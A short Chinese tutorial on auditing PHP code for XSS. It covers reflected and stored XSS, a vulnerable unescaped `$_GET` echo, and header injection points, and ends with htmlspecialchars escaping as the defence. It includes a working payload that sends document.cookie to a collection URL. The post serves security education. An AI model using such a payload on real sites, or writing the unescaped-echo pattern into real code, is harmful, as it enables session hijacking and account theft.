美文网首页
代码审计——xss漏洞

代码审计——xss漏洞

作者: 萨满原子 | 来源:发表于2019-07-20 13:01 被阅读0次

XSS漏洞大致分为三种

反射型XSS漏洞

存储型XSS漏洞

基于DOM的XSS漏洞

反射型XSS漏洞

它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行

它的特点是非持久化,必须用户点击带有特定参数的链接才能引起该漏洞的触发

变量直接输出

<?php

echo$_GET['xss'];

?>

$_SERVER变量参数

$_SERVER['PHP_SELF'] 当前正在执行脚本的文件名

$_SERVER['HTTP_USER_AGENT'] 获取用户相关信息,包括用户浏览器、操作系统等信息。

$_SERVER['HTTP_REQUER']

$_SERVER['REQUEST_URI']当前脚本路径,根目录之后的目录

http请求格式

User-Agent:      可以通过User-Agent进行构造XSS

Referer:            可以通过Reference进行构造,主要是burp suite抓包操作,进行修改即可

利用

Ttest:alert('xss');

Cookie:

<script>var i=new Image;  i.src='http://127.0.0.1/xss.php?c="%2bdocument.cookie;"'</script>

modify headers

存储型XSS

持久化,代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,若干没有过滤或过滤不严,那么这些代码将存储到服务器数据库中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,窃取Cookie等。

审计SQL语句:

主要是update 、insert更新和插入语句。

内容输入输出没有被严格过滤或者过滤不严!

防御

htmlspecialchars函数

预定义的字符是:

&  ——————&amp;

"———————&quot;

'———————&#039

<———————&lt;

>———————&gt;

相关文章

  • 代码审计——xss漏洞

    XSS漏洞大致分为三种 反射型XSS漏洞 存储型XSS漏洞 基于DOM的XSS漏洞 反射型XSS漏洞 它通过给别人...

  • 2021-12-06-java代码审计初步认知

    一、代码审计的定义代码审计是一种以发现安全漏洞,程序错误和程序违规为目标的源代码分析技能。 二、代码审计需要的能力...

  • 安全问题

    XSS(跨站点脚本攻击)漏洞 攻击原理  攻击者向有xss漏洞的网站中传入恶意的html代码,其他用户浏览该网站时...

  • CUMT中国矿业大学网络攻击与防御18级考试

    一、论述题(3 ✖ 10分) 写一段含有XSS漏洞的代码,并写出如何利用XSS漏洞来实行攻击 写出5种以上常见的安...

  • bolt cms V3.7.0 xss和远程代码执行漏洞

    导航: 1. 漏洞环境搭建 2. 漏洞分析 3. 漏洞测试 3.1. xss 3.2. 远程代码执行 4. 影响版...

  • 2019-07-28-php代码审计

    一、PHP代码执行代码审计首先讲一下PHP代码执行漏洞和命令执行漏洞的区别,PHP代码执行指的是将php代码植入到...

  • 跨站脚本漏洞(XSS)基础讲解

    XSS漏洞 一、文章简介 XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,...

  • 跨站脚本漏洞(XSS)基础讲解

    XSS漏洞 一、文章简介 XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,...

  • 跨站脚本漏洞XSS

    XSS漏洞 一、文章简介 XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,...

  • 通过代码审计找出网站中的XSS漏洞实战

    本文转自 FreeBuf.COM 一、背景 笔者此前录制了一套XSS的视频教程,在漏洞案例一节中讲解手工挖掘、工具...

网友评论

      本文标题:代码审计——xss漏洞

      本文链接:https://www.haomeiwen.com/subject/ilqslctx.html